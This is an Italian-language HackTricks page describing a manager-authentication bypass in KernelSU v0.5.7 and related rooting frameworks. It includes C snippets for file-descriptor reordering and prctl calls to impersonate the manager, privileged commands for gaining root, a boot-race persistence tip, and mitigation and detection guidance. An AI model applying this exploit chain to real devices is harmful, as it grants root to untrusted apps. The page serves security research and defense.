Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
I framework di rooting come KernelSU, APatch, SKRoot e Magisk patchano frequentemente il kernel Linux/Android ed espongono funzionalità privilegiate a un'app "manager" in userspace non privilegiata tramite una syscall hookata. Se il passaggio di autenticazione del manager è difettoso, qualsiasi app locale può accedere a questo canale e aumentare i privilegi su dispositivi già rootati.
Questa pagina astratta le tecniche e le insidie scoperte nella ricerca pubblica (in particolare l'analisi di Zimperium su KernelSU v0.5.7) per aiutare sia i team rossi che blu a comprendere le superfici di attacco, le primitive di sfruttamento e le mitigazioni robuste.
Pattern architetturale: canale manager hookato da syscall
- Il modulo/patch del kernel hooka una syscall (comunemente prctl) per ricevere "comandi" da userspace.
- Il protocollo tipicamente è: magic_value, command_id, arg_ptr/len ...
- Un'app manager in userspace si autentica prima (ad es., CMD_BECOME_MANAGER). Una volta che il kernel contrassegna il chiamante come un manager fidato, i comandi privilegiati vengono accettati:
- Concedi root al chiamante (ad es., CMD_GRANT_ROOT)
- Gestisci le liste di autorizzazione/negazione per su
- Regola la politica SELinux (ad es., CMD_SET_SEPOLICY)
- Interroga versione/configurazione
- Poiché qualsiasi app può invocare syscall, la correttezza dell'autenticazione del manager è critica.
Esempio (design di KernelSU):
- Syscall hookata: prctl
- Valore magico per deviare al gestore di KernelSU: 0xDEADBEEF
- I comandi includono: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, ecc.
Flusso di autenticazione di KernelSU v0.5.7 (come implementato)
Quando userspace chiama prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU verifica:
- Controllo del prefisso del percorso
- Il percorso fornito deve iniziare con un prefisso atteso per l'UID del chiamante, ad es. /data/data/
o /data/user/ / . - Riferimento: core_hook.c (v0.5.7) logica del prefisso del percorso.
- Controllo della proprietà
- Il percorso deve essere di proprietà dell'UID del chiamante.
- Riferimento: core_hook.c (v0.5.7) logica della proprietà.
- Controllo della firma APK tramite scansione della tabella FD
- Itera i descrittori di file (FD) aperti dal processo chiamante.
- Scegli il primo file il cui percorso corrisponde a /data/app/*/base.apk.
- Analizza la firma APK v2 e verifica contro il certificato ufficiale del manager.
- Riferimenti: manager.c (iterando FDs), apk_sign.c (verifica APK v2).
Se tutti i controlli passano, il kernel memorizza temporaneamente l'UID del manager e accetta comandi privilegiati da quell'UID fino al reset.
Classe di vulnerabilità: fidarsi "del primo APK corrispondente" dall'iterazione FD
Se il controllo della firma si lega a "il primo /data/app/*/base.apk corrispondente" trovato nella tabella FD del processo, in realtà non sta verificando il pacchetto del chiamante. Un attaccante può pre-posizionare un APK firmato legittimamente (quello del vero manager) in modo che appaia prima nella lista FD rispetto al proprio base.apk.
Questa fiducia per indiretto consente a un'app non privilegiata di impersonare il manager senza possedere la chiave di firma del manager.
Proprietà chiave sfruttate:
- La scansione FD non si lega all'identità del pacchetto del chiamante; si limita a fare un pattern-match delle stringhe di percorso.
- open() restituisce il FD disponibile più basso. Chiudendo prima i FD numerati inferiormente, un attaccante può controllare l'ordinamento.
- Il filtro controlla solo che il percorso corrisponda a /data/app/*/base.apk – non che corrisponda al pacchetto installato del chiamante.
Precondizioni di attacco
- Il dispositivo è già rootato con un framework di rooting vulnerabile (ad es., KernelSU v0.5.7).
- L'attaccante può eseguire codice arbitrario non privilegiato localmente (processo dell'app Android).
- Il vero manager non si è ancora autenticato (ad es., subito dopo un riavvio). Alcuni framework memorizzano l'UID del manager dopo il successo; devi vincere la corsa.
Schema di sfruttamento (KernelSU v0.5.7)
Passaggi ad alto livello:
- Costruisci un percorso valido per la directory dei dati della tua app per soddisfare i controlli di prefisso e proprietà.
- Assicurati che un base.apk genuino di KernelSU Manager sia aperto su un FD numerato inferiore rispetto al tuo base.apk.
- Invoca prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) per superare i controlli.
- Emissione di comandi privilegiati come CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY per mantenere l'elevazione.
Note pratiche sul passaggio 2 (ordinamento FD):
- Identifica il tuo FD di processo per il tuo /data/app/*/base.apk camminando nei symlink di /proc/self/fd.
- Chiudi un FD basso (ad es., stdin, fd 0) e apri prima l'APK legittimo del manager in modo che occupi fd 0 (o qualsiasi indice inferiore al tuo fd base.apk).
- Raggruppa l'APK legittimo del manager con la tua app in modo che il suo percorso soddisfi il filtro ingenuo del kernel. Ad esempio, posizionalo sotto un sottopercorso che corrisponde a /data/app/*/base.apk.
Esempi di frammenti di codice (Android/Linux, solo illustrativi):
Enumerare i FD aperti per localizzare le voci base.apk:
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
Forza un FD con numero inferiore a puntare all'APK del manager legittimo:
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
Autenticazione del manager tramite hook prctl:
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
Dopo il successo, comandi privilegiati (esempi):
- CMD_GRANT_ROOT: promuovere il processo corrente a root
- CMD_ALLOW_SU: aggiungere il tuo pacchetto/UID all'elenco di autorizzazione per su persistente
- CMD_SET_SEPOLICY: regolare la politica SELinux come supportato dal framework
Suggerimento su race/persistenza:
- Registrare un ricevitore BOOT_COMPLETED in AndroidManifest (RECEIVE_BOOT_COMPLETED) per avviarsi presto dopo il riavvio e tentare l'autenticazione prima del vero manager.
Indicazioni per rilevamento e mitigazione
Per gli sviluppatori di framework:
- Legare l'autenticazione al pacchetto/UID del chiamante, non a FDs arbitrari:
- Risolvere il pacchetto del chiamante dal suo UID e verificare contro la firma del pacchetto installato (tramite PackageManager) piuttosto che scansionare FDs.
- Se solo kernel, utilizzare un'identità del chiamante stabile (credenziali del task) e convalidare su una fonte di verità stabile gestita da init/userspace helper, non FDs di processo.
- Evitare controlli di prefisso del percorso come identità; sono facilmente soddisfacibili dal chiamante.
- Utilizzare una sfida-risposta basata su nonce attraverso il canale e cancellare qualsiasi identità del manager memorizzata nella cache all'avvio o in eventi chiave.
- Considerare IPC autenticato basato su binder invece di sovraccaricare syscalls generici quando possibile.
Per difensori/team blu:
- Rilevare la presenza di framework di rooting e processi manager; monitorare le chiamate prctl con costanti magiche sospette (ad es., 0xDEADBEEF) se hai telemetria del kernel.
- Su flotte gestite, bloccare o allertare sui ricevitori di avvio da pacchetti non affidabili che tentano rapidamente comandi manager privilegiati dopo l'avvio.
- Assicurarsi che i dispositivi siano aggiornati a versioni del framework patchate; invalidare gli ID del manager memorizzati nella cache all'aggiornamento.
Limitazioni dell'attacco:
- Colpisce solo i dispositivi già rootati con un framework vulnerabile.
- Tipicamente richiede una finestra di riavvio/race prima che il manager legittimo si autentichi (alcuni framework memorizzano nella cache l'UID del manager fino al reset).
Note correlate tra i framework
- L'autenticazione basata su password (ad es., build storiche di APatch/SKRoot) può essere debole se le password sono indovinabili/bruteforceabili o se le convalide sono difettose.
- L'autenticazione basata su pacchetto/firma (ad es., KernelSU) è più forte in linea di principio ma deve legarsi al chiamante effettivo, non a artefatti indiretti come le scansioni di FD.
- Magisk: CVE-2024-48336 (MagiskEoP) ha dimostrato che anche ecosistemi maturi possono essere suscettibili a spoofing dell'identità che porta all'esecuzione di codice con root all'interno del contesto del manager.
Riferimenti
- Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device
- KernelSU v0.5.7 – core_hook.c path checks (L193, L201)
- KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)
- KernelSU – apk_sign.c APK v2 verification (main)
- KernelSU project
- APatch
- SKRoot
- MagiskEoP – CVE-2024-48336
- KSU PoC demo video (Wistia)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.